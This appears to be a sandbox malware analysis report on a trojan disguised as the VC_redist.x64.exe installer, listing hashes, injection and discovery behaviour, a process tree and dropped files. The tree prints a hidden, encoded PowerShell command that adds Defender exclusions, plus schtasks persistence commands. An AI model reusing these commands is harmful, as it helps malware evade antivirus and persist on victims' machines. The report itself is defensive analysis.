Analysis
- max time kernel
150s - max time network
156s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/10/2026, 12:11
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
VC_redist.x64.exe
Resource
win10v2004-20260911-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
VC_redist.x64.exe
Resource
win11ltsc2024-20260911-en
10 signatures
150 seconds
General
- Target VC_redist.x64.exe
- Size 1.3MB
- Sample261023-pc3ryadx7p
- SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
- MD5 53f98f062b32a0c8f4a1ef829c9aa723
- SHA1 ce5811c89ab9c743e75aa0237840ee559507f290
- SHA512 c721b385a102b386f074598a031c56009d148ecb38047cc61ba39f45327b68d6e784fc2f6512ff829a5f9efabe6d8877b14077546f765c97cf88e34d91351151
- SSDEEP 24576:SmB+oAr42VQsrLAg0zL5QtTtIcy+kkar9B8vl1bY/VJ+ppbMyBrYTXC0jFz01tan:VcbbpLh0zTXL9CfWobBqZItg
- TLSH T1AA553353EF583BE2E8510BB0E5F38240A6F576C2CC1DA81E179B775A047230EA375A4B
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3196 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 4504 Opcode.exe 1528 Opcode.exe 5408 Opcode.exe - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3932 set thread context of 1496 3932 VC_redist.x64.exe 90 PID 1528 set thread context of 5408 1528 Opcode.exe 101 PID 5408 set thread context of 2852 5408 Opcode.exe 102 PID 2852 set thread context of 4424 2852 InstallUtil.exe 103 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname VC_redist.x64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain VC_redist.x64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname VC_redist.x64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain VC_redist.x64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Opcode.exe - System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language VC_redist.x64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language VC_redist.x64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Opcode.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Opcode.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Opcode.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6128 schtasks.exe 6120 schtasks.exe - Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 3932 VC_redist.x64.exe 3932 VC_redist.x64.exe 3932 VC_redist.x64.exe 3196 powershell.exe 3196 powershell.exe 4504 Opcode.exe 4504 Opcode.exe 4504 Opcode.exe 1528 Opcode.exe 1528 Opcode.exe 1528 Opcode.exe 2852 InstallUtil.exe 2852 InstallUtil.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3932 VC_redist.x64.exe Token: SeDebugPrivilege 3932 VC_redist.x64.exe Token: SeDebugPrivilege 1496 VC_redist.x64.exe Token: SeDebugPrivilege 3196 powershell.exe Token: SeIncreaseQuotaPrivilege 3196 powershell.exe Token: SeSecurityPrivilege 3196 powershell.exe Token: SeTakeOwnershipPrivilege 3196 powershell.exe Token: SeLoadDriverPrivilege 3196 powershell.exe Token: SeSystemProfilePrivilege 3196 powershell.exe Token: SeSystemtimePrivilege 3196 powershell.exe Token: SeProfSingleProcessPrivilege 3196 powershell.exe Token: SeIncBasePriorityPrivilege 3196 powershell.exe Token: SeCreatePagefilePrivilege 3196 powershell.exe Token: SeBackupPrivilege 3196 powershell.exe Token: SeRestorePrivilege 3196 powershell.exe Token: SeShutdownPrivilege 3196 powershell.exe Token: SeDebugPrivilege 3196 powershell.exe Token: SeSystemEnvironmentPrivilege 3196 powershell.exe Token: SeRemoteShutdownPrivilege 3196 powershell.exe Token: SeUndockPrivilege 3196 powershell.exe Token: SeManageVolumePrivilege 3196 powershell.exe Token: 33 3196 powershell.exe Token: 34 3196 powershell.exe Token: 35 3196 powershell.exe Token: 36 3196 powershell.exe Token: SeIncreaseQuotaPrivilege 3196 powershell.exe Token: SeSecurityPrivilege 3196 powershell.exe Token: SeTakeOwnershipPrivilege 3196 powershell.exe Token: SeLoadDriverPrivilege 3196 powershell.exe Token: SeSystemProfilePrivilege 3196 powershell.exe Token: SeSystemtimePrivilege 3196 powershell.exe Token: SeProfSingleProcessPrivilege 3196 powershell.exe Token: SeIncBasePriorityPrivilege 3196 powershell.exe Token: SeCreatePagefilePrivilege 3196 powershell.exe Token: SeBackupPrivilege 3196 powershell.exe Token: SeRestorePrivilege 3196 powershell.exe Token: SeShutdownPrivilege 3196 powershell.exe Token: SeDebugPrivilege 3196 powershell.exe Token: SeSystemEnvironmentPrivilege 3196 powershell.exe Token: SeRemoteShutdownPrivilege 3196 powershell.exe Token: SeUndockPrivilege 3196 powershell.exe Token: SeManageVolumePrivilege 3196 powershell.exe Token: 33 3196 powershell.exe Token: 34 3196 powershell.exe Token: 35 3196 powershell.exe Token: 36 3196 powershell.exe Token: SeIncreaseQuotaPrivilege 3196 powershell.exe Token: SeSecurityPrivilege 3196 powershell.exe Token: SeTakeOwnershipPrivilege 3196 powershell.exe Token: SeLoadDriverPrivilege 3196 powershell.exe Token: SeSystemProfilePrivilege 3196 powershell.exe Token: SeSystemtimePrivilege 3196 powershell.exe Token: SeProfSingleProcessPrivilege 3196 powershell.exe Token: SeIncBasePriorityPrivilege 3196 powershell.exe Token: SeCreatePagefilePrivilege 3196 powershell.exe Token: SeBackupPrivilege 3196 powershell.exe Token: SeRestorePrivilege 3196 powershell.exe Token: SeShutdownPrivilege 3196 powershell.exe Token: SeDebugPrivilege 3196 powershell.exe Token: SeSystemEnvironmentPrivilege 3196 powershell.exe Token: SeRemoteShutdownPrivilege 3196 powershell.exe Token: SeUndockPrivilege 3196 powershell.exe Token: SeManageVolumePrivilege 3196 powershell.exe Token: 33 3196 powershell.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3932 wrote to memory of 1496 3932 VC_redist.x64.exe 90 PID 3932 wrote to memory of 1496 3932 VC_redist.x64.exe 90 PID 3932 wrote to memory of 1496 3932 VC_redist.x64.exe 90 PID 3932 wrote to memory of 1496 3932 VC_redist.x64.exe 90 PID 3932 wrote to memory of 1496 3932 VC_redist.x64.exe 90 PID 1496 wrote to memory of 6120 1496 VC_redist.x64.exe 91 PID 1496 wrote to memory of 6128 1496 VC_redist.x64.exe 96 PID 1528 wrote to memory of 5408 1528 Opcode.exe 101 PID 1528 wrote to memory of 5408 1528 Opcode.exe 101 PID 1528 wrote to memory of 5408 1528 Opcode.exe 101 PID 1528 wrote to memory of 5408 1528 Opcode.exe 101 PID 1528 wrote to memory of 5408 1528 Opcode.exe 101 PID 5408 wrote to memory of 2852 5408 Opcode.exe 102 PID 5408 wrote to memory of 2852 5408 Opcode.exe 102 PID 5408 wrote to memory of 2852 5408 Opcode.exe 102 PID 5408 wrote to memory of 2852 5408 Opcode.exe 102 PID 5408 wrote to memory of 2852 5408 Opcode.exe 102 PID 2852 wrote to memory of 4424 2852 InstallUtil.exe 103 PID 2852 wrote to memory of 4424 2852 InstallUtil.exe 103 PID 2852 wrote to memory of 4424 2852 InstallUtil.exe 103 PID 2852 wrote to memory of 4424 2852 InstallUtil.exe 103 PID 2852 wrote to memory of 4424 2852 InstallUtil.exe 103
Processes
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C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"1⤵
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"2⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "ydgsz" /XML "C:\Users\Admin\AppData\Local\Temp\2c13ff3f05f44055b5e44796f4a02ae3.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:6120
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\a73a278eabb9406ab09275e4789407e1.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:6128
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAYwBhAG0AdABwAGEAXABPAHAAYwBvAGQAZQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAYwBhAG0AdABwAGEAXABPAHAAYwBvAGQAZQAuAGUAeABlADsA1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3196
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C:\Users\Admin\AppData\Local\PropagationFlags\camtpa\Opcode.exeC:\Users\Admin\AppData\Local\PropagationFlags\camtpa\Opcode.exe1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4504
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C:\Users\Admin\AppData\Local\PropagationFlags\camtpa\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\camtpa\Opcode.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Users\Admin\AppData\Local\PropagationFlags\camtpa\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\camtpa\Opcode.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5408 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
- System Location Discovery: System Language Discovery
PID:4424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:1868
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\PropagationFlags\camtpa\Opcode.exe
- Size 1.3MB
- SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
- MD5 53f98f062b32a0c8f4a1ef829c9aa723
- SHA1 ce5811c89ab9c743e75aa0237840ee559507f290
- SHA512 c721b385a102b386f074598a031c56009d148ecb38047cc61ba39f45327b68d6e784fc2f6512ff829a5f9efabe6d8877b14077546f765c97cf88e34d91351151
- SSDEEP 24576:SmB+oAr42VQsrLAg0zL5QtTtIcy+kkar9B8vl1bY/VJ+ppbMyBrYTXC0jFz01tan:VcbbpLh0zTXL9CfWobBqZItg
- TLSH T1AA553353EF583BE2E8510BB0E5F38240A6F576C2CC1DA81E179B775A047230EA375A4B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\2c13ff3f05f44055b5e44796f4a02ae3.xml
- Size 2KB
- SHA256 fdff353c70fedfada0a66bb3f5cd12ca82813c4ea4f2eea7f1f38b3dcd8d2b15
- MD5 8a4f502cbcf3ba83337184b4b3dd35c9
- SHA1 60eb355754c98a33bd9f76fa6947b644c01b5d2e
- SHA512 9f5719f9095a6c67a04728c00858f960489a9ba57d92bef0051894f776c08b0faf83bee577636197e3e5cf2f4533ca2ced06cfe051202590cad4d52dc5673194
- TLSH T187414138D9E0F187413EB13CD1521E43A9215B634BB70828F88D0A3B2FB914ADB4739E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmxtsx32.42o.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\a73a278eabb9406ab09275e4789407e1.xml
- Size 1KB
- SHA256 959b1b00f2625d07f335287303aaaad3658d849f6f3ff0b6b6893b5d5fa381f4
- MD5 838448d90cd17f62a06f48ceb67d01c0
- SHA1 7a112622295377d0f49e726891ee52ea57c70811
- SHA512 ca67cb0738659ff1b4d4fc22d01325ce7093a270ff36e117cac1c7feb5cec65519a36dcc512e8ec8ebcbe482869c310f88f236089c31f0d54584fba8916924a6
- TLSH T12631C06458C0B60B5533463AD7915682FF3797A30AAB0535F9CC473F2FBA189614393B
- MD5 SHA1 SHA512 TLSH